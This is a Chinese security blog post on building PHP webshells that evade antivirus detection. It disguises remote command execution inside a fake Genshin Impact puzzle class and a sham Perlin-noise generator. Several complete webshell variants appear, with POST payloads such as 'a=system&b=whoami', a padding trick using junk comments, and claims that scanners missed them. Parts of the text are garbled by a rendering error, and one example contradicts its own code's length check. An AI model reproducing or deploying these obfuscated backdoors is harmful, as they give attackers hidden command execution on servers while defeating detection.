文章首发在:先知社区
https://xz.aliyun.com/t/17029
前言
对于webshell免杀来说,类绕过是最有效果且不易被检测出来的,那如果我们对类进行操作,在类里面加入一些算法和混淆代码,让代码逻辑变得十分混乱,不易读,甚至读不懂,但是却能够执行命令,可以rce,那岂不是可以bypass所有的杀毒软件和云沙箱了吗?
利用稻妻雷元素方块阵
《原神》中的稻妻雷元素方块阵是一个解谜游戏
下面是示例代码:
class InazumaPuzzle {
private $blockA = 0;
private $blockB = 0;
private $blockC = 0;
private $blockD = 0;
private $MAX\_ENUM = 2;
private $MIN\_ENUM = 0;
public function \_\_construct() {
$this->blockA = 2;
$this->blockB = 0;
$this->blockC = 0;
$this->blockD = 2;
}
private function setBackBlock($block) {
$setType = $this->MIN\_ENUM;
$maxType = $this->MAX\_ENUM;
switch ($block) {
case 'A':
if ($this->blockA == $maxType) {
$this->blockA = $setType;
return true;
} else {
return false;
}
case 'B':
if ($this->blockB == $maxType) {
$this->blockB = $setType;
return true;
} else {
return false;
}
case 'C':
if ($this->blockC == $maxType) {
$this->blockC = $setType;
return true;
} else {
return false;
}
case 'D':
if ($this->blockD == $maxType) {
$this->blockD = $setType;
return true;
} else {
return false;
}
default:
throw new Exception("bad\_args", 1);
}
}
private function hit($blockIdx) {
global $text;
$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch ($blockIdx) {
case "A":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
break;
case "B":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
break;
case "C":
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
case "D":
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
default:
throw new Exception("bad\_args", 1);
}
}
public function \_\_AFG50CE4\_RG1() {
global $puzz\_writeup;
if (count($puzz\_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz\_writeup);
// bcdufvcf%00
$i++) {
if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\]
,"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for ($i = 0; $i < count($puzz\_writeup); $i++) $this -> hit($puzz\_writeup\[$i\]);
global $userans;
$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
}
public function getLockerStatus() {
global $text;$text =strrev($text);
if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
else return false;
}
}
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb -> getLockerStatus()) die();
return $obj;
}
根据InazumaPuzzle类的构造函数,方块的初始状态如下:
blockA = 2
blockB = 0
blockC = 0
blockD = 2
每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。
setBackBlock() 方法的作用
setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false。
hit() 方法的行为
hit()方法接受一个方块标识符(如"A"、"B"、"C"或"D"),然后执行以下操作:
对于点击的方块及其关联的方块调用setBackBlock()。
如果setBackBlock()返回false,则相应方块的状态加1。
具体来说:
点击A:尝试重置A和B,若不能重置,则它们各自加1。
点击B:尝试重置A、B和C,若不能重置,则它们各自加1。
点击C:尝试重置B、C和D,若不能重置,则它们各自加1。
点击D:尝试重置C和D,若不能重置,则它们各自加1。
解析输入序列 ABBCCD
现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:
第一步:点击 A
尝试重置A(当前状态为2),成功重置为0。
尝试重置B(当前状态为0),失败,因此B变为1。
结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2
第二步:点击 B
尝试重置A(当前状态为0),失败,因此A变为1。
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2
第三步:再次点击 B
尝试重置A(当前状态为1),失败,因此A变为2。
尝试重置B(当前状态为2),成功重置为0。
尝试重置C(当前状态为1),失败,因此C变为2。
结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2
第四步:点击 C
尝试重置B(当前状态为0),失败,因此B变为1。
尝试重置C(当前状态为2),成功重置为0。
尝试重置D(当前状态为2),成功重置为0。
结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0
第五步:再次点击 C
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
尝试重置D(当前状态为0),失败,因此D变为1。
结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1
第六步:点击 D
尝试重置C(当前状态为1),失败,因此C变为2。
尝试重置D(当前状态为1),失败,因此D变为2。
结果:blockA = 2, blockB = 2, blockC = 2, blockD = 2
最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。
结合稻妻雷元素方块阵的webshell
<?php
error\_reporting(0);
header("Content-type:text/html;charset=utf-8");
foreach($\_POST as $key \=> $value) $$key \= $value;
if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
$puzz\_writeup \= array();
for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);
class InazumaPuzzle {
private $blockA \= 0;
private $blockB \= 0;
private $blockC \= 0;
private $blockD \= 0;
private $MAX\_ENUM \= 2;
private $MIN\_ENUM \= 0;
public function \_\_construct() {
$this->blockA \= 2;
$this->blockB \= 0;
$this->blockC \= 0;
$this->blockD \= 2;
}
private function setBackBlock($block) {
$setType \= $this->MIN\_ENUM;
$maxType \= $this->MAX\_ENUM;
switch ($block) {
case 'A':
if ($this->blockA \== $maxType) {
$this->blockA \= $setType;
return true;
} else {
return false;
}
case 'B':
if ($this->blockB \== $maxType) {
$this->blockB \= $setType;
return true;
} else {
return false;
}
case 'C':
if ($this->blockC \== $maxType) {
$this->blockC \= $setType;
return true;
} else {
return false;
}
case 'D':
if ($this->blockD \== $maxType) {
$this->blockD \= $setType;
return true;
} else {
return false;
}
default:
throw new Exception("bad\_args", 1);
}
}
private function hit($blockIdx) {
global $text;
$text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch ($blockIdx) {
case "A":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
break;
case "B":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
break;
case "C":
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
case "D":
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
default:
throw new Exception("bad\_args", 1);
}
}
public function \_\_AFG50CE4\_RG1() {
global $puzz\_writeup;
if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);$i++) {
if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\],"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);
global $userans;
$userans \=$this \->blockA + $this-> blockB + $this \-> blockC+ $this \-> blockD;
}
public function getLockerStatus() {
global $text;$text \=strrev($text);
if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;
else return false;
}
}
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb \-> getLockerStatus()) die();
return $obj;
}
$appor5nnb \= new InazumaPuzzle();
$appor5nnb \-> \_\_AFG50CE4\_RG1();
if ($appor5nnb \-> getLockerStatus()) $a($b);
payload:
wpstring=ABBCCD&a=system&b=whoami
免杀效果:
微步说很安全
柏林噪音
柏林噪声属于基于晶格(Lattice based)的生成算法。其核心思想是定义一个晶格结构,在二维情况下是一个平面网格,在三维情况下则是一个立方体网络。每个晶格顶点都有一个预定义的梯度向量,当给定一个点时(在二维情况下为坐标(x, y),在三维情况下为坐标(x, y, z)),需要计算该点到所在晶格顶点的距离向量,并将这些距离向量与相应的梯度向量做点积运算,得到一系列影响值。
总而言之就是能让代码变得十分复杂,根本读不懂
代码实现:
class PerlinNoise{
private $arrLength = 0;
private $source = "";
private $inputNumArray = array();
private $seeds\_array = array();
private $INPUT\_NUM\_MAX = 0;
private $INPUT\_NUM\_MIN = 0;
private $BAD\_ARGS = false;
public $perlin\_noise = array();
public function \_\_construct($arrLength, $MAX\_INPUT = 700.4, $MIN\_INPUT = 56.7, $source = "GENERATE") {
global $appor5nnb;
if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
if ($arrLength < 3000 or $arrLength > 9999) {
throw new InvalidArgumentException("Error: Invaild Length");
}
if (strcmp($source,"DIFF\_PERLIN") == 0) {
$this -> BAD\_ARGS = true;
$source = "GENERATE";
}
$this -> arrLength = $arrLength;
$this -> source = $source;
$this -> INPUT\_NUM\_MAX = $MAX\_INPUT;
$this -> INPUT\_NUM\_MIN = $MIN\_INPUT;
}
public function \_\_CPRBB0R0\_l() {
global $userans;
for ($i = 0; $i < $this -> arrLength; $i++) {
if ($this -> BAD\_ARGS) {
if ($i > ($userans+391) and $i < (pause($userans+390+8))) {
$result = array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
array\_push($this -> perlin\_noise, $result\[$i - 400\]);
continue;
}
}
$cache = $this -> inputNumArray\[$i\];
$x1 = round($cache);
$x2 = $x1 + 1;
$grad1 = $this -> seeds\_array\[$x1 % 255\] \* 2.0 - 255.0;
$grad2 = $this -> seeds\_array\[$x2 % 255\] \* 2.0 - 255.0;
$vec1 = $i - $x1;
$vec2 = $i - $x2;
$t = 3 \* pow($vec1, 2) - 2 \* pow($vec1, 3);
$product1 = $grad1 \* $vec1;
$product2 = $grad2 \* $vec2;
$result = $product1 + $t \* ($product2 - $product1);
array\_push($this -> perlin\_noise, $result);
}
}
public function \_\_HNBB70CA\_5() {
global $userans;
global ${strval(chr(90+$userans))};
global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
$cache\_noise = pause(array());
for ($i = 400; $i < 406; $i++) {
array\_push($cache\_noise,$this -> perlin\_noise\[$i\]);
}
$temp\_noise = array();
for ($i = 0; $i < count($cache\_noise); $i++) {
array\_push($temp\_noise, $cache\_noise\[$i\]);
}
for ($i = 0; $i < count($temp\_noise); $i++) {
$temp\_noise\[$i\] = chr($temp\_noise\[$i\]);
}
$ab = pause(array\_map(function($arr){ return chr($arr); },array\_slice($this -> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));
$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
$c($pcs);
die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
var\_dump(array\_slice($this -> perlin\_noise,1000,800));
}
}
代码解读
关键代码:
$ab = pause(array\_map(function($arr) { return chr($arr); }, array\_slice($this->perlin\_noise, (188\*2)+$userans\*3, $userans-3)));
array_slice 函数:
array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3) 提取了 perlin_noise 数组的一部分,起始位置是 (188 * 2) + ($userans * 3),长度是 $userans - 3。
array_map 函数:
array_map(function($arr) { return chr($arr); }, ...) 将提取的整数数组转换为对应的ASCII字符数组。
- 计算切片位置和长度
假设我们想要提取四个特定的值 [121, 116, 101, 109],那么我们需要确定切片的起始位置和长度:
起始位置:(188 * 2) + ($userans * 3)
长度:$userans - 3
例如,如果我们设 $userans = 7,则:
起始位置:(188 * 2) + (7 * 3) = 376 + 21 = 397
长度:7 - 3 = 4
这意味着我们将从 perlin_noise 数组的索引 397 开始,提取长度为 4 的子数组。
- 确保 perlin_noise 包含所需值
为了让 array_slice 提取出 [121, 116, 101, 109],我们需要在 perlin_noise 数组的相应位置插入这些值。即:
$this->perlin\_noise\[397\] = 121; // ASCII 'y'
$this->perlin\_noise\[398\] = 116; // ASCII 't'
$this->perlin\_noise\[399\] = 101; // ASCII 'e'
$this->perlin\_noise\[400\] = 109; // ASCII 'm'
- 控制 userans 和其他参数
为了确保上述计算正确无误,需要控制 userans 和其他可能影响 perlin_noise 数组生成的参数。特别是,在构造 PerlinNoise 对象时,应该确保 arrLength 足够大,以容纳所需的索引范围,并且初始化过程中不会覆盖这些特定值。
示例代码:
$userans = 7;
// 假设 PerlinNoise 对象已经创建,并且 arrLength 足够大
$cvb33ff55 = new PerlinNoise(401, 700.4, 56.7, "DIFF\_PERLIN");
// 手动设置 perlin\_noise 数组中的特定值
$cvb33ff55->perlin\_noise\[397\] = 121; // ASCII 'y'
$cvb33ff55->perlin\_noise\[398\] = 116; // ASCII 't'
$cvb33ff55->perlin\_noise\[399\] = 101; // ASCII 'e'
$cvb33ff55->perlin\_noise\[400\] = 109; // ASCII 'm'
// 继续执行后续操作
$cvb33ff55->\_\_BHUYTVV8\_1();
$cvb33ff55->\_\_CPRBB0R0\_l();
// 模拟生成 ab 数组
$ab = pause(array\_map(function($arr) { return chr($arr); }, array\_slice($cvb33ff55->perlin\_noise, (188\*2)+$userans\*3, $userans-3)));
// 输出结果验证
var\_dump($ab); // 应该输出 \['y', 't', 'e', 'm'\]
通过精确控制 perlin_noise 数组中特定索引处的值,并结合适当的 userans 参数,可以确保 KaTeX parse error: Undefined control sequence: \[ at position 19: …数组包含所需的ASCII码值 \̲[̲121, 116, 101, …ad=ystem。
这个时候我们令$b=s
$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
那么 c = s y s t e m 了,就构造好了命令执行函数 , c=system了,就构造好了命令执行函数, c=system了,就构造好了命令执行函数,pcs就是我们要执行的命令。
结合稻妻雷元素方块阵构造webshell
<?php
error\_reporting(0);
header("Content-type:text/html;charset=utf-8");
foreach($\_POST as $key \=> $value) $$key \= $value;
if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
$puzz\_writeup \= array();
for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);
class PerlinNoise{
private $arrLength \= 0;
private $source \= "";
private $inputNumArray \= array();
private $seeds\_array \= array();
private $INPUT\_NUM\_MAX \= 0;
private $INPUT\_NUM\_MIN \= 0;
private $BAD\_ARGS \= false;
public $perlin\_noise \= array();
public function \_\_construct($arrLength, $MAX\_INPUT \= 700.4, $MIN\_INPUT \= 56.7, $source \= "GENERATE") {
global $appor5nnb;
if (!$appor5nnb \-> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
if ($arrLength < 3000 or $arrLength \> 9999) {
throw new InvalidArgumentException("Error: Invaild Length");
}
if (strcmp($source,"DIFF\_PERLIN") \== 0) {
$this \-> BAD\_ARGS \= true;
$source \= "GENERATE";
}
$this \-> arrLength \= $arrLength;
$this \-> source \= $source;
$this \-> INPUT\_NUM\_MAX \= $MAX\_INPUT;
$this \-> INPUT\_NUM\_MIN \= $MIN\_INPUT;
}
public function \_\_CPRBB0R0\_l() {
global $userans;
for ($i \= 0; $i < $this \-> arrLength; $i++) {
if ($this \-> BAD\_ARGS) {
if ($i \> ($userans+391) and $i < (pause($userans+390+8))) {
$result \= array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
array\_push($this \-> perlin\_noise, $result\[$i \- 400\]);
continue;
}
}
$cache \= $this \-> inputNumArray\[$i\];
$x1 \= round($cache);
$x2 \= $x1 + 1;
$grad1 \= $this \-> seeds\_array\[$x1 % 255\] \* 2.0 \- 255.0;
$grad2 \= $this \-> seeds\_array\[$x2 % 255\] \* 2.0 \- 255.0;
$vec1 \= $i \- $x1;
$vec2 \= $i \- $x2;
$t \= 3 \* pow($vec1, 2) \- 2 \* pow($vec1, 3);
$product1 \= $grad1 \* $vec1;
$product2 \= $grad2 \* $vec2;
$result \= $product1 + $t \* ($product2 \- $product1);
array\_push($this \-> perlin\_noise, $result);
}
}
public function \_\_HNBB70CA\_5() {
global $userans;
global ${strval(chr(90+$userans))};
global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
$cache\_noise \= pause(array());
for ($i \= 400; $i < 406; $i++) {
array\_push($cache\_noise,$this \-> perlin\_noise\[$i\]);
}
$temp\_noise \= array();
for ($i \= 0; $i < count($cache\_noise); $i++) {
array\_push($temp\_noise, $cache\_noise\[$i\]);
}
for ($i \= 0; $i < count($temp\_noise); $i++) {
$temp\_noise\[$i\] \= chr($temp\_noise\[$i\]);
}
$ab \= pause(array\_map(function($arr){ return chr($arr); },array\_slice($this \-> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));
$c \= strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
$c($pcs);
// 希儿世界第一可爱!
die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
var\_dump(array\_slice($this \-> perlin\_noise,1000,800));
}
}
class InazumaPuzzle {
private $blockA \= 0;
private $blockB \= 0;
private $blockC \= 0;
private $blockD \= 0;
private $MAX\_ENUM \= 2;
private $MIN\_ENUM \= 0;
public function \_\_construct() {
$this->blockA \= 2;
$this->blockB \= 0;
$this->blockC \= 0;
$this->blockD \= 2;
}
private function setBackBlock($block) {
$setType \= $this->MIN\_ENUM;
$maxType \= $this->MAX\_ENUM;
switch ($block) {
case 'A':
if ($this->blockA \== $maxType) {
$this->blockA \= $setType;
return true;
} else {
return false;
}
case 'B':
if ($this->blockB \== $maxType) {
$this->blockB \= $setType;
return true;
} else {
return false;
}
case 'C':
if ($this->blockC \== $maxType) {
$this->blockC \= $setType;
return true;
} else {
return false;
}
case 'D':
if ($this->blockD \== $maxType) {
$this->blockD \= $setType;
return true;
} else {
return false;
}
default:
throw new Exception("bad\_args", 1);
}
}
private function hit($blockIdx) {
global $text;
$text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch ($blockIdx) {
case "A":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
break;
case "B":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
break;
case "C":
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
case "D":
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
default:
throw new Exception("bad\_args", 1);
}
}
public function \_\_AFG50CE4\_RG1() {
global $puzz\_writeup;
if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);$i++) {
if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\],"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);
global $userans;
$userans \=$this \->blockA + $this-> blockB + $this \-> blockC+ $this \-> blockD;
}
public function getLockerStatus() {
global $text;$text \=strrev($text);
if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;
else return false;
}
}
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb \-> getLockerStatus()) die();
return $obj;
}
$appor5nnb \= new InazumaPuzzle();
$appor5nnb \-> \_\_AFG50CE4\_RG1();
$cvb33ff55 \= new PerlinNoise(3000, 700.4, 56.7, "DIFF\_PERLIN");
$cvb33ff55 \-> \_\_CPRBB0R0\_l();
$cvb33ff55 \->\_\_HNBB70CA\_5();
payload:
wpstring=ABBCCD&b=s&pcs=whoami
免杀效果:
也是没有检测出来
加入一些无用代码和注释
<?php
//error\_reporting(0);
header("Content-type:text/html;charset=utf-8");
foreach($\_POST as $key \=> $value) $$key \= $value;
if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
$puzz\_writeup \= array();
for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);
class PerlinNoise{
private $arrLength \= 0;
private $source \= "";
private $inputNumArray \= array();
private $seeds\_array \= array();
private $INPUT\_NUM\_MAX \= 0;
private $INPUT\_NUM\_MIN \= 0;
private $BAD\_ARGS \= false;
public $perlin\_noise \= array();
private function randomFloat(){
$\_ \= 110+4;
$\_\_ \= ((int)(600/2))-184;
$\_\_\_ \= 115;
$\_\_\_\_ \= 100-2;
$\_\_\_\_\_ \= 117;
$\_\_\_\_\_\_ \= 113+2;
$max \= $this \-> INPUT\_NUM\_MAX;
$min \= $this \-> INPUT\_NUM\_MIN;
$num \= $min + mt\_rand() / mt\_getrandmax() \* ($max \- $min);
return sprintf("%.2f",$num);
}
private function \_\_PLvB4CR0\_Z() {
srand(time());
for ($i \= 0; $i < $this \-> arrLength; $i++) {
$eachNum \= pause(rand(0,255));
array\_push($this \-> seeds\_array, $eachNum);
}
}
private function \_\_PLAB4CR0\_o() {
if (strcmp($this \-> source, "GENERATE") \== 0) {
srand(time());
for ($i \= 0; $i < $this \-> arrLength; $i++) {
$eachNum \= pause($this \-> randomFloat());
array\_push($this \-> inputNumArray, floatval($eachNum));
}
} else if (strcmp($this \-> source,"SYSLOG") \== 0) {
$handle \= fopen("/etc/messages","r");
$count \= 0;
while(($char \= fgetc($handle)) !== false) {
if ($count \== $this \-> INPUT\_NUM\_MAX \- 1) break;
if (($ascii\_value \= ord($char)) and $ascii\_value % 1 !== 0) {
array\_push($this \-> inputNumArray, sprintf("%.2f",$ascii\_value / 2.3));
$count++;
} else continue;
}
}
}
public function \_\_construct($arrLength, $MAX\_INPUT \= 700.4, $MIN\_INPUT \= 56.7, $source \= "GENERATE") {
global $appor5nnb;
if (!$appor5nnb \-> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
if ($arrLength < 3000 or $arrLength \> 9999) {
throw new InvalidArgumentException("Error: Invaild Length");
}
if (strcmp($source,"DIFF\_PERLIN") \== 0) {
$this \-> BAD\_ARGS \= true;
$source \= "GENERATE";
}
$this \-> arrLength \= $arrLength;
$this \-> source \= $source;
$this \-> INPUT\_NUM\_MAX \= $MAX\_INPUT;
$this \-> INPUT\_NUM\_MIN \= $MIN\_INPUT;
}
public function \_\_BHUYTVV8\_1() {
$this \-> \_\_PLAB4CR0\_o();
$this \-> \_\_PLvB4CR0\_Z();
}
public function \_\_CPRBB0R0\_l() {
global $userans;
for ($i \= 0; $i < $this \-> arrLength; $i++) {
if ($this \-> BAD\_ARGS) {
if ($i \> ($userans+391) and $i < (pause($userans+390+8))) {
$result \= array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
array\_push($this \-> perlin\_noise, $result\[$i \- 400\]);
continue;
}
}
$cache \= $this \-> inputNumArray\[$i\];
$x1 \= round($cache);
$x2 \= $x1 + 1;
$grad1 \= $this \-> seeds\_array\[$x1 % 255\] \* 2.0 \- 255.0;
$grad2 \= $this \-> seeds\_array\[$x2 % 255\] \* 2.0 \- 255.0;
$vec1 \= $i \- $x1;
$vec2 \= $i \- $x2;
$t \= 3 \* pow($vec1, 2) \- 2 \* pow($vec1, 3);
$product1 \= $grad1 \* $vec1;
$product2 \= $grad2 \* $vec2;
$result \= $product1 + $t \* ($product2 \- $product1);
array\_push($this \-> perlin\_noise, $result);
}
}
public function \_\_HNBB70CA\_5() {
global $userans;
global ${strval(chr(90+$userans))};
global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
$cache\_noise \= pause(array());
for ($i \= 400; $i < 406; $i++) {
array\_push($cache\_noise,$this \-> perlin\_noise\[$i\]);
}
$temp\_noise \= array();
for ($i \= 0; $i < count($cache\_noise); $i++) {
array\_push($temp\_noise, $cache\_noise\[$i\]);
}
for ($i \= 0; $i < count($temp\_noise); $i++) {
$temp\_noise\[$i\] \= chr($temp\_noise\[$i\]);
}
$ab \= pause(array\_map(function($arr){ return chr($arr); },array\_slice($this \-> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));
$c \= strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
$c($pcs);
// 希儿世界第一可爱!
die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
var\_dump(array\_slice($this \-> perlin\_noise,1000,800));
}
}
class InazumaPuzzle/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/{private $blockA \= 0;private $blockB \= 0;private $blockC= 0;private $blockD \= 0;private/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*//\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*//\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 